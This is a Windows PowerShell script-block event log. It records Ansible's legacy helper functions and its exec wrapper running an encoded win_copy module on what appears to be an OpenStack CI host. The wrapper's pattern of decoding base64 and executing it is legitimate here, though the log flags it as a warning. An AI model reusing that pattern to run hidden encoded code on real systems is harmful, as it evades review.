Function Set-Attr($obj, $name, $value)
{
<#
.SYNOPSIS
Helper function to set an "attribute" on a psobject instance in PowerShell.
This is a convenience to make adding Members to the object easier and
slightly more pythonic
.EXAMPLE
Set-Attr $result "changed" $true
#>
# If the provided $obj is undefined, define one to be nice
If (-not $obj.GetType)
{
$obj = @{ }
}
Try
{
$obj.$name = $value
}
Catch
{
$obj | Add-Member -Force -MemberType NoteProperty -Name $name -Value $value
}
}
Function Exit-Json($obj)
{
<#
.SYNOPSIS
Helper function to convert a PowerShell object to JSON and output it, exiting
the script
.EXAMPLE
Exit-Json $result
#>
# If the provided $obj is undefined, define one to be nice
If (-not $obj.GetType)
{
$obj = @{ }
}
if (-not $obj.ContainsKey('changed')) {
Set-Attr $obj "changed" $false
}
Write-Output $obj | ConvertTo-Json -Compress -Depth 99
Exit
}
Function Fail-Json($obj, $message = $null)
{
<#
.SYNOPSIS
Helper function to add the "msg" property and "failed" property, convert the
PowerShell Hashtable to JSON and output it, exiting the script
.EXAMPLE
Fail-Json $result "This is the failure message"
#>
if ($obj -is [hashtable] -or $obj -is [psobject]) {
# Nothing to do
} elseif ($obj -is [string] -and $null -eq $message) {
# If we weren't given 2 args, and the only arg was a string,
# create a new Hashtable and use the arg as the failure message
$message = $obj
$obj = @{ }
} else {
# If the first argument is undefined or a different type,
# make it a Hashtable
$obj = @{ }
}
# Still using Set-Attr for PSObject compatibility
Set-Attr $obj "msg" $message
Set-Attr $obj "failed" $true
if (-not $obj.ContainsKey('changed')) {
Set-Attr $obj "changed" $false
}
Write-Output $obj | ConvertTo-Json -Compress -Depth 99
Exit 1
}
Function Add-Warning($obj, $message)
{
<#
.SYNOPSIS
Helper function to add warnings, even if the warnings attribute was
not already set up. This is a convenience for the module developer
so they do not have to check for the attribute prior to adding.
#>
if (-not $obj.ContainsKey("warnings")) {
$obj.warnings = @()
} elseif ($obj.warnings -isnot [array]) {
throw "Add-Warning: warnings attribute is not an array"
}
$obj.warnings += $message
}
Function Add-DeprecationWarning($obj, $message, $version = $null)
{
<#
.SYNOPSIS
Helper function to add deprecations, even if the deprecations attribute was
not already set up. This is a convenience for the module developer
so they do not have to check for the attribute prior to adding.
#>
if (-not $obj.ContainsKey("deprecations")) {
$obj.deprecations = @()
} elseif ($obj.deprecations -isnot [array]) {
throw "Add-DeprecationWarning: deprecations attribute is not a list"
}
$obj.deprecations += @{
msg = $message
version = $version
}
}
Function Expand-Environment($value)
{
<#
.SYNOPSIS
Helper function to expand environment variables in values. By default
it turns any type to a string, but we ensure $null remains $null.
#>
if ($null -ne $value) {
[System.Environment]::ExpandEnvironmentVariables($value)
} else {
$value
}
}
Function Get-AnsibleParam($obj, $name, $default = $null, $resultobj = @{}, $failifempty = $false, $emptyattributefailmessage, $ValidateSet, $ValidateSetErrorMessage, $type = $null, $aliases = @())
{
<#
.SYNOPSIS
Helper function to get an "attribute" from a psobject instance in PowerShell.
This is a convenience to make getting Members from an object easier and
slightly more pythonic
.EXAMPLE
$attr = Get-AnsibleParam $response "code" -default "1"
.EXAMPLE
Get-AnsibleParam -obj $params -name "State" -default "Present" -ValidateSet "Present","Absent" -resultobj $resultobj -failifempty $true
Get-AnsibleParam also supports Parameter validation to save you from coding that manually
Note that if you use the failifempty option, you do need to specify resultobject as well.
#>
# Check if the provided Member $name or aliases exist in $obj and return it or the default.
try {
$found = $null
# First try to find preferred parameter $name
$aliases = @($name) + $aliases
# Iterate over aliases to find acceptable Member $name
foreach ($alias in $aliases) {
if ($obj.ContainsKey($alias)) {
$found = $alias
break
}
}
if ($null -eq $found) {
throw
}
$name = $found
if ($ValidateSet) {
if ($ValidateSet -contains ($obj.$name)) {
$value = $obj.$name
} else {
if ($null -eq $ValidateSetErrorMessage) {
#Auto-generated error should be sufficient in most use cases
$ValidateSetErrorMessage = "Get-AnsibleParam: Argument $name needs to be one of $($ValidateSet -join ",") but was $($obj.$name)."
}
Fail-Json -obj $resultobj -message $ValidateSetErrorMessage
}
} else {
$value = $obj.$name
}
} catch {
if ($failifempty -eq $false) {
$value = $default
} else {
if (-not $emptyattributefailmessage) {
$emptyattributefailmessage = "Get-AnsibleParam: Missing required argument: $name"
}
Fail-Json -obj $resultobj -message $emptyattributefailmessage
}
}
# If $value -eq $null, the parameter was unspecified by the user (deliberately or not)
# Please leave $null-values intact, modules need to know if a parameter was specified
# When $value is already an array, we cannot rely on the null check, as an empty list
# is seen as null in the check below
if ($null -ne $value -or $value -is [array]) {
if ($type -eq "path") {
# Expand environment variables on path-type
$value = Expand-Environment($value)
# Test if a valid path is provided
if (-not (Test-Path -IsValid $value)) {
$path_invalid = $true
# could still be a valid-shaped path with a nonexistent drive letter
if ($value -match "^\w:") {
# rewrite path with a valid drive letter and recheck the shape- this might still fail, eg, a nonexistent non-filesystem PS path
if (Test-Path -IsValid $(@(Get-PSDrive -PSProvider Filesystem)[0].Name + $value.Substring(1))) {
$path_invalid = $false
}
}
if ($path_invalid) {
Fail-Json -obj $resultobj -message "Get-AnsibleParam: Parameter '$name' has an invalid path '$value' specified."
}
}
} elseif ($type -eq "str") {
# Convert str types to real Powershell strings
$value = $value.ToString()
} elseif ($type -eq "bool") {
# Convert boolean types to real Powershell booleans
$value = $value | ConvertTo-Bool
} elseif ($type -eq "int") {
# Convert int types to real Powershell integers
$value = $value -as [int]
} elseif ($type -eq "float") {
# Convert float types to real Powershell floats
$value = $value -as [float]
} elseif ($type -eq "list") {
if ($value -is [array]) {
# Nothing to do
} elseif ($value -is [string]) {
# Convert string type to real Powershell array
$value = $value.Split(",").Trim()
} elseif ($value -is [int]) {
$value = @($value)
} else {
Fail-Json -obj $resultobj -message "Get-AnsibleParam: Parameter '$name' is not a YAML list."
}
# , is not a typo, forces it to return as a list when it is empty or only has 1 entry
return ,$value
}
}
return $value
}
#Alias Get-attr-->Get-AnsibleParam for backwards compat. Only add when needed to ease debugging of scripts
If (-not(Get-Alias -Name "Get-attr" -ErrorAction SilentlyContinue))
{
New-Alias -Name Get-attr -Value Get-AnsibleParam
}
Function ConvertTo-Bool
{
<#
.SYNOPSIS
Helper filter/pipeline function to convert a value to boolean following current
Ansible practices
.EXAMPLE
$is_true = "true" | ConvertTo-Bool
#>
param(
[parameter(valuefrompipeline=$true)]
$obj
)
$boolean_strings = "yes", "on", "1", "true", 1
$obj_string = [string]$obj
if (($obj -is [boolean] -and $obj) -or $boolean_strings -contains $obj_string.ToLower()) {
return $true
} else {
return $false
}
}
Function Parse-Args($arguments, $supports_check_mode = $false)
{
<#
.SYNOPSIS
Helper function to parse Ansible JSON arguments from a "file" passed as
the single argument to the module.
.EXAMPLE
$params = Parse-Args $args
#>
$params = New-Object psobject
If ($arguments.Length -gt 0)
{
$params = Get-Content $arguments[0] | ConvertFrom-Json
}
Else {
$params = $complex_args
}
$check_mode = Get-AnsibleParam -obj $params -name "_ansible_check_mode" -type "bool" -default $false
If ($check_mode -and -not $supports_check_mode)
{
Exit-Json @{
skipped = $true
changed = $false
msg = "remote module does not support check mode"
}
}
return $params
}
Function Get-FileChecksum($path, $algorithm = 'sha1')
{
<#
.SYNOPSIS
Helper function to calculate a hash of a file in a way which PowerShell 3
and above can handle
#>
If (Test-Path -Path $path -PathType Leaf)
{
switch ($algorithm)
{
'md5' { $sp = New-Object -TypeName System.Security.Cryptography.MD5CryptoServiceProvider }
'sha1' { $sp = New-Object -TypeName System.Security.Cryptography.SHA1CryptoServiceProvider }
'sha256' { $sp = New-Object -TypeName System.Security.Cryptography.SHA256CryptoServiceProvider }
'sha384' { $sp = New-Object -TypeName System.Security.Cryptography.SHA384CryptoServiceProvider }
'sha512' { $sp = New-Object -TypeName System.Security.Cryptography.SHA512CryptoServiceProvider }
default { Fail-Json @{} "Unsupported hash algorithm supplied '$algorithm'" }
}
If ($PSVersionTable.PSVersion.Major -ge 4) {
$raw_hash = Get-FileHash $path -Algorithm $algorithm
$hash = $raw_hash.Hash.ToLower()
} Else {
$fp = [System.IO.File]::Open($path, [System.IO.Filemode]::Open, [System.IO.FileAccess]::Read, [System.IO.FileShare]::ReadWrite);
$hash = [System.BitConverter]::ToString($sp.ComputeHash($fp)).Replace("-", "").ToLower();
$fp.Dispose();
}
}
ElseIf (Test-Path -Path $path -PathType Container)
{
$hash = "3";
}
Else
{
$hash = "1";
}
return $hash
}
Function Get-PendingRebootStatus
{
<#
.SYNOPSIS
Check if reboot is required, if so notify CA.
Function returns true if computer has a pending reboot
#>
$featureData = Invoke-WmiMethod -EA Ignore -Name GetServerFeature -Namespace root\microsoft\windows\servermanager -Class MSFT_ServerManagerTasks
$regData = Get-ItemProperty "HKLM:\SYSTEM\CurrentControlSet\Control\Session Manager" "PendingFileRenameOperations" -EA Ignore
$CBSRebootStatus = Get-ChildItem "HKLM:\\SOFTWARE\Microsoft\Windows\CurrentVersion\Component Based Servicing" -ErrorAction SilentlyContinue| Where-Object {$_.PSChildName -eq "RebootPending"}
if(($featureData -and $featureData.RequiresReboot) -or $regData -or $CBSRebootStatus)
{
return $True
}
else
{
return $False
}
}
# this line must stay at the bottom to ensure all defined module parts are exported
Export-ModuleMember -Alias * -Function * -Cmdlet *
ScriptBlock ID: d87c50c0-e1c1-4087-a08c-9c5f2561e93e
Path: | 4104 | 1 | | 3 | 2 | 15 | 0 | 1641 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 1124 | 1328 | n-h1-758944-2 | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 7:54:07 AM | dfeadd90-ee34-0001-8a28-ebdf34eed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Warning | On create calls | Execute a Remote Command | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Creating Scriptblock text (1 of 1):
{
$val = $myPsObject.($_.name);
If ($val -is [psobject]) {
$val = ConvertTo-HashtableFromPsCustomObject $val
}
$output.($_.name) = $val
}
ScriptBlock ID: ecbac644-910a-4008-9e8f-ddbaa148ad83
Path: | 4104 | 1 | | 3 | 2 | 15 | 0 | 1640 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 1124 | 1328 | n-h1-758944-2 | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 7:54:07 AM | dfeadd90-ee34-0001-7b28-ebdf34eed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Warning | On create calls | Execute a Remote Command | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Creating Scriptblock text (4 of 4):
$min_os_version = [version]$payload.min_os_version
if ($min_os_version -ne $null) {
$actual_os_version = [System.Environment]::OSVersion.Version
if ($actual_os_version -lt $min_os_version) {
$msg = "This module cannot run on this OS as it requires a minimum version of $min_os_version, actual was $actual_os_version"
Write-Output (ConvertTo-Json @{failed=$true;msg=$msg})
exit 1
}
}
$min_ps_version = [version]$payload.min_ps_version
if ($min_ps_version -ne $null) {
$actual_ps_version = $PSVersionTable.PSVersion
if ($actual_ps_version -lt $min_ps_version) {
$msg = "This module cannot run as it requires a minimum PowerShell version of $min_ps_version, actual was $actual_ps_version"
Write-Output (ConvertTo-Json @{failed=$true;msg=$msg})
exit 1
}
}
$actions = $payload.actions
# pop 0th action as entrypoint
$entrypoint = $payload.($actions[0])
$payload.actions = $payload.actions[1..99]
$entrypoint = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($entrypoint))
# load the current action entrypoint as a module custom object with a Run method
$entrypoint = New-Module -ScriptBlock ([scriptblock]::Create($entrypoint)) -AsCustomObject
Set-Variable -Scope global -Name complex_args -Value $payload["module_args"] | Out-Null
# dynamically create/load modules
ForEach ($mod in $payload.powershell_modules.GetEnumerator()) {
$decoded_module = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($mod.Value))
New-Module -ScriptBlock ([scriptblock]::Create($decoded_module)) -Name $mod.Key | Import-Module -WarningAction SilentlyContinue | Out-Null
}
$output = $entrypoint.Run($payload)
Write-Output $output
}
ScriptBlock ID: cec584c0-e645-46e5-ba7d-eae3c1dd2ac4
Path: | 4104 | 1 | | 3 | 2 | 15 | 0 | 1639 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 1124 | 1328 | n-h1-758944-2 | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 7:54:06 AM | dfeadd90-ee34-0001-7528-ebdf34eed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Warning | On create calls | Execute a Remote Command | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Creating Scriptblock text (3 of 4):
gICAgICAgdGhyb3cgImludmFsaWQgYmFzZTY0IGFyY2hpdmUgbmFtZSAnJGFyY2hpdmVfbmFtZSciCiAgICAgICAgICAgIH0KICAgICAgICB9IGVsc2UgewogICAgICAgICAgICB0aHJvdyAiaW52YWxpZCBiYXNlNjQgbGVuZ3RoICckYXJjaGl2ZV9uYW1lJyIKICAgICAgICB9CgogICAgICAgICMgdG8gaGFuZGxlIHVuaWNvZGUgY2hhcmFjdGVyLCB3aW5fY29weSBhY3Rpb24gcGx1Z2luI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ycgYXMgaXQgZG9lcyBub3QgZXhpc3QiCiAgICB9CgogICAgaWYgKFRlc3QtUGF0aCAtUGF0aCAkc3JjIC1QYXRoVHlwZSBDb250YWluZXIpIHsKICAgICAgICAjIHdlIGFyZSBjb3B5aW5nIGEgZGlyZWN0b3J5IG9yIHRoZSBjb250ZW50cyBvZiBhIGRpcmVjdG9yeQogICAgICAgICRyZXN1bHQub3BlcmF0aW9uID0gJ2ZvbGRlcl9jb3B5JwogICAgICAgIGlmICgkc3JjLkVuZHNXaXRoKCIvIikgLW9yICRzcmMuRW5kc1dpdGgoImBcIikpIHsKICAgICAgICAgICAgIyBjb3B5aW5nIHRoZSBmb2xkZXIncyBjb250ZW50cyB0byBkZXN0CiAgICAgICAgICAgICRkaWZmID0gIiIKICAgICAgICAgICAgJGNoaWxkX2ZpbGVzID0gR2V0LUNoaWxkSXRlbSAtUGF0aCAkc3JjIC1Gb3JjZQogICAgICAgICAgICBmb3JlYWNoICgkY2hpbGRfZmlsZSBpbiAkY2hpbGRfZmlsZXMpIHsKICAgICAgICAgICAgICAgICRkZXN0X2NoaWxkX3BhdGggPSBKb2luLVBhdGggLVBhdGggJGRlc3QgLUNoaWxkUGF0aCAkY2hpbGRfZmlsZS5OYW1lCiAgICAgICAgICAgICAgICBpZiAoJGNoaWxkX2ZpbGUuUFNJc0NvbnRhaW5lcikgewogICAgICAgICAgICAgICAgICAgICRkaWZmICs9IENvcHktRm9sZGVyIC1zb3VyY2UgJGNoaWxkX2ZpbGUuRnVsbE5hbWUgLWRlc3QgJGRlc3RfY2hpbGRfcGF0aAogICAgICAgICAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgICAgICAgICAkZGlmZiArPSAoQ29weS1GaWxlIC1zb3VyY2UgJGNoaWxkX2ZpbGUuRnVsbE5hbWUgLWRlc3QgJGRlc3RfY2hpbGRfcGF0aCkuZGlmZgogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9CiAgICAgICAgfSBlbHNlIHsKICAgICAgICAg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YXJlbnRfZGlyJyBkb2VzIG5vdCBleGlzdCIKICAgICAgICB9CiAgICB9CgogICAgQ29weS1JdGVtIC1QYXRoICRzcmMgLURlc3RpbmF0aW9uICRyZW1vdGVfZGVzdCAtRm9yY2UgfCBPdXQtTnVsbAogICAgJHJlc3VsdC5jaGFuZ2VkID0gJHRydWUKfQoKRXhpdC1Kc29uIC1vYmogJHJlc3VsdAo=", "module_args": {"symlinks": [], "files": [{"dest": "pip-install-os-win.log", "checksum": "1949dc9e8d8d0be95ce4144c8507c1457bfbdcb0", "src": "/home/jenkins-slave/.ansible/tmp/ansible-local-6900qW3ePo/tmp8r4Py2"}], "_ansible_selinux_special_fs": ["fuse", "nfs", "vboxsf", "ramfs", "9p"], "force": true, "_ansible_no_log": false, "dest": "c:/openstack/log", "directories": [], "_ansible_remote_tmp": "%TEMP%", "_ansible_verbosity": 4, "_ansible_keep_remote_files": false, "_ansible_syslog_facility": "LOG_USER", "_ansible_socket": null, "_copy_mode": "query", "_ansible_diff": false, "_ansible_debug": false, "_ansible_shell_executable": "/bin/sh", "_ansible_check_mode": false, "_ansible_tmpdir": null, "_ansible_version": "2.7.0", "_ansible_module_name": "win_copy"}}
'@
}
process {
$input_as_string = [string]$input
$json_raw += $input_as_string
}
end {
If (-not $json_raw) {
Write-Error "no input given" -Category InvalidArgument
}
$payload = ConvertTo-HashtableFromPsCustomObject (ConvertFrom-Json $json_raw)
# TODO: handle binary modules
# TODO: handle persistence
ScriptBlock ID: cec584c0-e645-46e5-ba7d-eae3c1dd2ac4
Path: | 4104 | 1 | | 3 | 2 | 15 | 0 | 1638 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 1124 | 1328 | n-h1-758944-2 | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 7:54:06 AM | dfeadd90-ee34-0001-7528-ebdf34eed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Warning | On create calls | Execute a Remote Command | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Creating Scriptblock text (2 of 4):
ICAgICAgICAjIENvbnZlcnQgZmxvYXQgdHlwZXMgdG8gcmVhbCBQb3dlcnNoZWxsIGZsb2F0cwogICAgICAgICAgICAkdmFsdWUgPSAkdmFsdWUgLWFzIFtmbG9hdF0KICAgICAgICB9IGVsc2VpZiAoJHR5cGUgLWVxICJsaXN0IikgewogICAgICAgICAgICBpZiAoJHZhbHVlIC1pcyBbYXJyYXldKSB7CiAgICAgICAgICAgICAgICAjIE5vdGhpbmcgdG8gZG8KICAgICAgICAgICAgfSBlbHNlaWYgKCR2YWx1ZSAtaXMgW3N0cmluZ10pIHsKICAgICAgICAgICAgICAgICMgQ29udmVydCBzdHJpbmcgdHlwZSB0byByZWFsIFBvd2Vyc2hlbGwgYXJyYXkKICAgICAgICAgICAgICAgICR2YWx1ZSA9ICR2YWx1ZS5TcGxpdCgiLCIpLlRyaW0oKQogICAgICAgICAgICB9IGVsc2VpZiAoJHZhbHVlIC1pcyBbaW50XSkgewogICAgICAgICAgICAgICAgJHZhbHVlID0gQCgkdmFsdWUpCiAgICAgICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICAgICBGYWlsLUpzb24gLW9iaiAkcmVzdWx0b2JqIC1tZXNzYWdlICJHZXQtQW5zaWJsZVBhcmFtOiBQYXJhbWV0ZXIgJyRuYW1lJyBpcyBub3QgYSBZQU1MIGxpc3QuIgogICAgICAgICAgICB9CiAgICAgICAgICAgICMgLCBpcyBub3QgYSB0eXBvLCBmb3JjZXMgaXQgdG8gcmV0dXJuIGFzIGEgbGlzdCB3aGVuIGl0IGlzIGVtcHR5IG9yIG9ubHkgaGFzIDEgZW50cnkKICAgICAgICAgICAgcmV0dXJuICwkdmFsdWUKICAgICAgICB9CiAgICB9CgogICAgcmV0dXJuICR2YWx1ZQp9CgojQWx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50cmllcykgewogICAgICAgICRhcmNoaXZlX25hbWUgPSAkZW50cnkuRnVsbE5hbWUKCiAgICAgICAgIyBGdWxsTmFtZSBtYXkgYmUgYXBwZW5kZWQgd2l0aCAvIG9yIFwsIGRldGVybWluZSBpZiBpdCBpcyBwYWRkZWQgYW5kIHJlbW92ZSBpdAogICAgICAgICRwYWRkaW5nX2xlbmd0aCA9ICRhcmNoaXZlX25hbWUuTGVuZ3RoICUgNAogICAgICAgIGlmICgkcGFkZGluZ19sZW5ndGggLWVxIDApIHsKICAgICAgICAgICAgJGlzX2RpciA9ICRmYWxzZQogICAgICAgICAgICAkYmFzZTY0X25hbWUgPSAkYXJjaGl2ZV9uYW1lCiAgICAgICAgfSBlbHNlaWYgKCRwYWRkaW5nX2xlbmd0aCAtZXEgMSkgewogICAgICAgICAgICAkaXNfZGlyID0gJHRydWUKICAgICAgICAgICAgaWYgKCRhcmNoaXZlX25hbWUuRW5kc1dpdGgoIi8iKSAtb3IgJGFyY2hpdmVfbmFtZS5FbmRzV2l0aCgiYFwiKSkgewogICAgICAgICAgICAgICAgJGJhc2U2NF9uYW1lID0gJGFyY2hpdmVfbmFtZS5TdWJzdHJpbmcoMCwgJGFyY2hpdmVfbmFtZS5MZW5ndGggLSAxKQogICAgICAgICAgICB9IGVsc2UgewogICAgICAgICA
ScriptBlock ID: cec584c0-e645-46e5-ba7d-eae3c1dd2ac4
Path: | 4104 | 1 | | 3 | 2 | 15 | 0 | 1637 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 1124 | 1328 | n-h1-758944-2 | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 7:54:06 AM | dfeadd90-ee34-0001-7528-ebdf34eed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Warning | On create calls | Execute a Remote Command | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Creating Scriptblock text (1 of 4):
begin {
$DebugPreference = "Continue"
$ErrorActionPreference = "Stop"
Set-StrictMode -Version 2
function ConvertTo-HashtableFromPsCustomObject ($myPsObject){
$output = @{};
$myPsObject | Get-Member -MemberType *Property | % {
$val = $myPsObject.($_.name);
If ($val -is [psobject]) {
$val = ConvertTo-HashtableFromPsCustomObject $val
}
$output.($_.name) = $val
}
return $output;
}
# stream JSON including become_pw, ps_module_payload, bin_module_payload, become_payload, write_payload_path, preserve directives
# exec runspace, capture output, cleanup, return module output
# NB: do not adjust the following line- it is replaced when doing non-streamed module output
$json_raw = @'
{"min_ps_version": null, "exec": "CkZ1bmN0aW9uIFJ1bigkcGF5bG9hZCkgewogICAgJGVudHJ5cG9pbnQgPSAkcGF5bG9hZC5tb2R1bGVfZW50cnkKCiAgICAkZW50cnlwb2ludCA9IFtTeXN0ZW0uVGV4dC5FbmNvZGluZ106OlVURjguR2V0U3RyaW5nKFtTeXN0ZW0uQ29udmVydF06OkZyb21CYXNlNjRTdHJpbmcoJGVudHJ5cG9pbnQpKQoKICAgICRwcyA9IFtwb3dlcnNoZWxsXTo6Q3JlYXRlKCkKCiAgICAkcHMuQWRkU3RhdGVtZW50KCkuQWRkQ29tbWFuZCgiU2V0LVZhcmlhYmxlIikuQWRkUGFyYW1ldGVycyhAe1Njb3BlPSJnbG9iYWwiO05hbWU9ImNvbXBsZXhfYXJncyI7VmFsdWU9JHBheWxvYWQubW9kdWxlX2FyZ3N9KSB8IE91dC1OdWxsCiAgICAkcHMuQWRkQ29tbWFuZCgiT3V0LU51bGwiKSB8IE91dC1OdWxsCgogICAgIyByZWRlZmluZSBXcml0ZS1Ib3N0IHRvIGR1bXAgdG8gb3V0cHV0IGluc3RlYWQgb2YgZmFpbGluZy0gbG90cyBvZiBzY3JpcHRzIHVzZSBpdAogICAgJHBzLkFkZFN0YXRlbWVudCgpLkFkZFNjcmlwdCgiRnVuY3Rpb24gV3JpdGUtS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bHQgNCAtYW5kICRwcy5TdHJlYW1zLkVycm9yLkNvdW50IC1ndCAwKSkgewogICAgICAgICRob3N0LlVJLldyaXRlRXJyb3JMaW5lKCQoJHBzLlN0cmVhbXMuRXJyb3IgfCBPdXQtU3RyaW5nKSkKICAgICAgICAkZXhpdF9jb2RlID0gJHBzLlJ1bnNwYWNlLlNlc3Npb25TdGF0ZVByb3h5LkdldFZhcmlhYmxlKCJMQVNURVhJVENPREUiKQogICAgICAgIElmKC1ub3QgJGV4aXRfY29kZSkgewogICAgICAgICAgICAkZXhpdF9jb2RlID0gMQogICAgICAgIH0KICAgICAgICAjIG5lZWQgdG8gdXNlIHRoaXMgaW5zdGVhZCBvZiBFeGl0IGtleXdvcmQgdG8gcHJldmVudCBydW5zcGFjZSBmcm9tIGNyYXNoaW5nIHdpdGggZHluYW1pYyBtb2R1bGVzCiAgICAgICAgJGhvc3QuU2V0U2hvdWxkRXhpdCgkZXhpdF9jb2RlKQogICAgfQp9Cg==", "actions": ["exec"], "environment": {}, "min_os_version": null, "powershell_modules": {"Ansible.ModuleUtils.Legacy": "IyBDb3B5cmlnaHQgKGMpLCBNaWNoYWVsIERlSGFhbiA8bWljaGFlbC5kZWhhYW5AZ21haWwuY29tPiwgMjAxNCwgYW5kIG90aGVycwojIFNpbXBsaWZpZWQgQlNEIExpY2Vuc2UgKHNlZSBsaWNlbnNlcy9zaW1wbGlmaWVkX2JzZC50eHQgb3IgaHR0cHM6Ly9vcGVuc291cmNlLm9yZy9saWNlbnNlcy9CU0QtMi1DbGF1c2UpCgpTZXQtU3RyaWN0TW9kZSAtVmVyc2lvbiAyLjAKJEVycm9yQWN0aW9uUHJlZmVyZW5jZSA9ICJTdG9wIgoKRnVuY3Rpb24gU2V0LUF0dHIoJG9iaiwgJG5hbWUsICR2YWx1ZSkKewo8IwogICAgLlNZTk9QU0lTCiAgICBIZWxwZXIgZnVuY3Rpb24gdG8gc2V0IGFuICJhdHRyaWJ1dGUiIG9uIGEgcHNvYmplY3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XQgbWFudWFsbHkKICAgIE5vdGUgdGhhdCBpZiB5b3UgdXNlIHRoZSBmYWlsaWZlbXB0eSBvcHRpb24sIHlvdSBkbyBuZWVkIHRvIHNwZWNpZnkgcmVzdWx0b2JqZWN0IGFzIHdlbGwuCiM+CiAgICAjIENoZWNrIGlmIHRoZSBwcm92aWRlZCBNZW1iZXIgJG5hbWUgb3IgYWxpYXNlcyBleGlzdCBpbiAkb2JqIGFuZCByZXR1cm4gaXQgb3IgdGhlIGRlZmF1bHQuCiAgICB0cnkgewoKICAgICAgICAkZm91bmQgPSAkbnVsbAogICAgICAgICMgRmlyc3QgdHJ5IHRvIGZpbmQgcHJlZmVycmVkIHBhcmFtZXRlciAkbmFtZQogICAgICAgICRhbGlhc2VzID0gQCgkbmFtZSkgKyAkYWxpYXNlcwoKICAgICAgICAjIEl0ZXJhdGUgb3ZlciBhbGlhc2VzIHRvIGZpbmQgYWNjZXB0YWJsZSBNZW1iZXIgJG5hbWUKICAgICAgICBmb3JlYWNoICgkYWxpYXMgaW4gJGFsaWFzZXMpIHsKICAgICAgICAgICAgaWYgKCRvYmouQ29udGFpbnNLZXkoJGFsaWFzKSkgewogICAgICAgICAgICAgICAgJGZvdW5kID0gJGFsaWFzCiAgICAgICAgICAgICAgICBicmVhawogICAgICAgICAgICB9CiAgICAgICAgfQoKICAgICAgICBpZiAoJG51bGwgLWVxICRmb3VuZCkgewogICAgICAgICAgICB0aHJvdwogICAgICAgIH0KICAgICAgICAkbmFtZSA9ICRmb3VuZAoKICAgICAgICBpZiAoJFZhbGlkYXRlU2V0KSB7CgogICAgICAgICAgICBpZiAoJFZhbGlkYXRlU2V0IC1jb250YWlucyAoJG9iai4kbmFtZSkpIHsKICAgICAgICAgICAgICAgICR2YWx1ZSA9ICRvYmouJG5hbWUKICAgICAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgICAgIGlmICgkbnVsbCAtZXEgJFZhbGlkYXRlU2V0RXJyb3JNZXNzYWdlKSB7CiAgICAgIC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AgICAgICAgICAgICAgICAgaWYgKFRlc3QtUGF0aCAtSXNWYWxpZCAkKEAoR2V0LVBTRHJpdmUgLVBTUHJvdmlkZXIgRmlsZXN5c3RlbSlbMF0uTmFtZSArICR2YWx1ZS5TdWJzdHJpbmcoMSkpKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICRwYXRoX2ludmFsaWQgPSAkZmFsc2UKICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICBpZiAoJHBhdGhfaW52YWxpZCkgewogICAgICAgICAgICAgICAgICAgIEZhaWwtSnNvbiAtb2JqICRyZXN1bHRvYmogLW1lc3NhZ2UgIkdldC1BbnNpYmxlUGFyYW06IFBhcmFtZXRlciAnJG5hbWUnIGhhcyBhbiBpbnZhbGlkIHBhdGggJyR2YWx1ZScgc3BlY2lmaWVkLiIKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgfQogICAgICAgIH0gZWxzZWlmICgkdHlwZSAtZXEgInN0ciIpIHsKICAgICAgICAgICAgIyBDb252ZXJ0IHN0ciB0eXBlcyB0byByZWFsIFBvd2Vyc2hlbGwgc3RyaW5ncwogICAgICAgICAgICAkdmFsdWUgPSAkdmFsdWUuVG9TdHJpbmcoKQogICAgICAgIH0gZWxzZWlmICgkdHlwZSAtZXEgImJvb2wiKSB7CiAgICAgICAgICAgICMgQ29udmVydCBib29sZWFuIHR5cGVzIHRvIHJlYWwgUG93ZXJzaGVsbCBib29sZWFucwogICAgICAgICAgICAkdmFsdWUgPSAkdmFsdWUgfCBDb252ZXJ0VG8tQm9vbAogICAgICAgIH0gZWxzZWlmICgkdHlwZSAtZXEgImludCIpIHsKICAgICAgICAgICAgIyBDb252ZXJ0IGludCB0eXBlcyB0byByZWFsIFBvd2Vyc2hlbGwgaW50ZWdlcnMKICAgICAgICAgICAgJHZhbHVlID0gJHZhbHVl